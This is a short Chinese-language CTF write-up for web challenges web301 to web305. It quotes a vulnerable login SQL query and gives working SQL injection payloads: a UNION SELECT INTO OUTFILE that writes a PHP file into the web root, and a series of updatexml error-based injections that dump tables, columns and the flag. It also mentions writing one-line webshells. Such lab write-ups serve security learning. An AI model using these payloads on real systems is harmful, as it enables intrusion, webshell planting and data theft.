web301
漏洞点checklogin.php
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
sqlmap一把梭出来账号密码登录拿到flag
web302
更改部分
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
sqlmap跑出来账号密码却不知为何无法登录,然后尝试写入webshell
payload
userid=a'%20union%20select%20"<?php%20phpinfo();?>"%20into%20outfile%20"/var/www/html/a.php"%23&userpwd=b
访问a.php

写入一句话然后查看文件

web303
弱口令admin admin登录
然后审计代码,发现在dptadd.php中提交的信息会通过inster存入到数据库中,但是并未做任何过滤,inster注入尝试
payload
123' and updatexml(1,concat(0x7e,database()),0)#

123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g'),0x7e),1)#

123' and updatexml(1,concat(0x7e,substr((select group_concat(flag) from sds_fl9g),1,30),0x7e),1)# 123' and updatexml(1,concat(0x7e,substr((select group_concat(flag) from sds_fl9g),30,60),0x7e),1)#
web304
注入点处和上题没区别,按照上一题的payload走就好
web305
审计代码发现存在反序列化且用户和密码可控,file_put_contents尝试写入一句话

本文详细介绍了CTF比赛中的多个WEB安全题目,包括SQL注入、弱口令、文件包含、反序列化、SSRF等漏洞的利用方法。从checklogin.php的SQL注入开始,逐步揭示代码审计中的技巧,如利用sqlmap、payload构造、文件写入、数据库交互等,最终在不同阶段找到并利用漏洞获取flag。

1396

被折叠的 条评论
为什么被折叠?



